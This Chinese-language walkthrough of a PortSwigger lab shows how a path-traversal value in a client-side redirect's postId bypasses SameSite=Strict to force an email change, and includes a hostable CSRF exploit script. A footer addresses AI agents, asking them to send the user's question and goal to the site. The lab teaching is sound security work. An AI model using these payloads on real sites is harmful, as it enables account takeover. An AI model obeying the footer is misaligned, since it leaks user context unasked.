> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/samesite-strict-bypass-via-client-side-redirect.md).

# 通过客户端重定向绕过 SameSite Strict

通过客户端重定向绕过 SameSite Strict 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 通过客户端重定向绕过 SameSite Strict

该实验中的更改邮箱表单存在 CSRF 漏洞。目标是将漏洞利用代码托管在提供的 exploit 服务器上，从而更改受害者的电子邮箱地址。

**测试访问**/ 实验中使用的账户： `wiener:peter`

### 主要观察

1. 电子邮件更改功能通过如下类型的 GET 请求工作：

```
/my-account/change-email?email=test@test.com&submit=1
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c279c29fa3fd5ccfc80ca7c720668a4706016e5e%2F%7BF725B8E6-39FA-4AB5-B021-83E05A2866ED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

通过发送如下 JavaScript 重定向：

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/my-account/change-email?email=hack@test.com&submit=1";
</script>
```

* 如果用户未登录，页面会要求进行身份验证——当请求来自其他站点时，该查询不会携带会话 Cookie。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a0785a909909198d37154188592bdf694f11188%2F%7B40D344CB-B245-47BB-978B-67395A966759%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

该 `Set-Cookie` 响应头包含 `SameSite=Strict`，这会阻止在从其他上下文（跨站）发起浏览时发送会话 Cookie，通常会阻止经典的重定向攻击。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e5a93876195634ad746eec8f7616fe08bd69822%2F%7B40E7CE84-9F58-4CE0-ABBA-C36450709733%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 利用区域（评论 → 确认 → 重定向）

1. 有一个评论区域，随后会重定向到：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34c4ed0a0afb5edf7c6448634f7997ad59fa6119%2F%7B5A780B31-5971-4D76-905D-3D15A05DA61D%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

```
post/comment/confirmation?postId=8
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01b0d5113f39a9ee7ff00ef22d731d90743fe07a%2F%7BF8EFB3C0-8422-4F58-A261-EA208AEDD2FE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

确认页面上的脚本提取 `postId` 参数，并在 3 秒后重定向到相应的帖子：

```javascript
redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-04cbdecfbd48765c8e35e1c42dd4cff58c35dd71%2F%7BFF4DA673-40BE-4323-A16B-79A11BAD3B25%7D.png?alt=media" alt="" width="353"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b02ac08f943a02057ae35a483423edf3c0f5009e%2F%7BBA448886-F21F-4DC4-AFE8-B2E111BBA46C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
window.location = blogPath + '/' + postId;
```

```
window.location = blogPath + '/' + ../my-account;
```

观察到这种行为后，我们注意到 `postId` 并非绝对必须：如果将其值改为（例如 `test`），重定向将指向 `.../test` ，且似乎没有进行验证。

#### 通过操纵路径绕过 SameSite Strict

思路：将重定向替换为 `blogPath + '/' + postId` 替换为 `postId` 包含相对 `..` 段，以到达目标站点中的某个路径（回退目录），例如：

`/post/comment/confirmation?postId=../my-account`

* 这样重定向就会指向上级目录，而不会阻止会话 Cookie。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6794c405153de696edb99d1555959467b7a9bcf%2F%7BF1ABC765-E66E-4261-BE0B-43E5E79F14C6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

通过构造一个更具体的 `postId`，我们就能直接针对电子邮件的更改功能：

```
/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1
```

直接重定向到电子邮件更改页面：

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1";
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/csrf/samesite-strict-bypass-via-client-side-redirect.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
